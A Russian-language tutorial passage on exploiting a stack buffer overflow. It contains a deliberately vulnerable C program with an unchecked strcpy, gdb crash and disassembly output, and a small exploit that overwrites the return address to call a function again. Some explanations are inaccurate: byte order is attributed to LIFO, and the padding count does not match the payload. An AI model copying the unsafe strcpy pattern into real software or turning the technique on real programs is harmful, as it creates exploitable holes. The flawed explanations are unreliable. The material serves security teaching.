Это, так сказать, один из
первых шагов в написании эксплоитов и шелл-кодов
для программ подверженных переполнению стека. Я
не буду рассказывать про все аспекты работы с
памятью, затрону лишь основное. Итак, имеем
уязвимую программу:

#include "stdio.h"

void return_input (char *s) {
char array[12];
strcpy(array,s);
printf("%s\n", array);
}

char text () {
printf("Example\n");
}

main ( int argc, char *argv[] ) {
text();
return_input(argv[1]);
return 0;

}

В этом случае переменная array объявлена с
установленным размером в 12 байт, но при
копировании проверки на длину данных не
происходит. Скомпилируем и попробуем передать
программе больше 30 байт:

spyder@l33t:~/c> ./bof
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Example
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ошибка сегментирования (core dumped)

Посмотрим на дамп памяти:

spyder@l33t:~/c> gdb bof core
............................
Core was generated by `./bof
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation
fault.
#0 0x41414141 in ?? ()

Символы 0x41 (A) переполнили стек и заполнили
собой регистры ebp и eip. Регистр eip указывает
на адрес возврата, область в памяти, куда должно
перейти управление программы. Наша задача —
подменить eip на нужное значение. Для примера
вызовем функцию text() во второй раз. Для этого
надо узнать ее адрес в памяти:

spyder@l33t:~/c> gdb bof
(gdb) disas main
Dump of assembler code for function main:
0x0804848d <main+0>: push %ebp
0x0804848e <main+1>: mov %esp,%ebp
0x08048490 <main+3>: and $0xfffffff0,%esp
0x08048493 <main+6>: sub $0x10,%esp
0x08048496 <main+9>: call 0x8048479 <text>
0x0804849b <main+14>: mov 0xc(%ebp),%eax
0x0804849e <main+17>: add $0x4,%eax
0x080484a1 <main+20>: mov (%eax),%eax
0x080484a3 <main+22>: mov %eax,(%esp)
0x080484a6 <main+25>: call 0x8048454 <return_input>
0x080484ab <main+30>: mov $0x0,%eax
0x080484b0 <main+35>: leave
0x080484b1 <main+36>: ret

Видим вызов функции text

0x08048496 <main+9>: call 0x8048479 <text>

В моем случае адрес — 0x08048496. Теперь
напишем небольшой эксплоит для перезаписи адреса
возврата значением 0x08048496. Для этого
потребуется отправить программе 12 байт
мусорного кода, которые заполнят стек, еще 4
байта, которые заполнят регистр ebp, и, наконец,
наши 4 байты, которые попадут в регистр eip. Так
как компилятор gcc использует определенную
оптимизацию, нам нужно передать еще 6 байт
мусорного кода.

В итоге сплоит выглядит так:

main () {
char stuff[]=
"AAAAAAAAAAAAAAAAAAAAAAAA\x96\x84\x04\x08";
execlp("./bof","./bof",&stuff,NULL);
}

Стек работает с методом доступа к элементам
LIFO (Last In — First Out, «последним пришел —
первым вышел»), и поэтому мы указываем байты в
обратном порядке. Пробуем запустить наш
эксплоит:

spyder@l33t:~/c> ./eip
Example
AAAAAAAAAAAAAAAAAAAAAAAA??
Example

Как ты можешь видеть, функция text()
выполнилась второй раз, что говорит о том, что
мы удачно изменили адрес возврата.

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …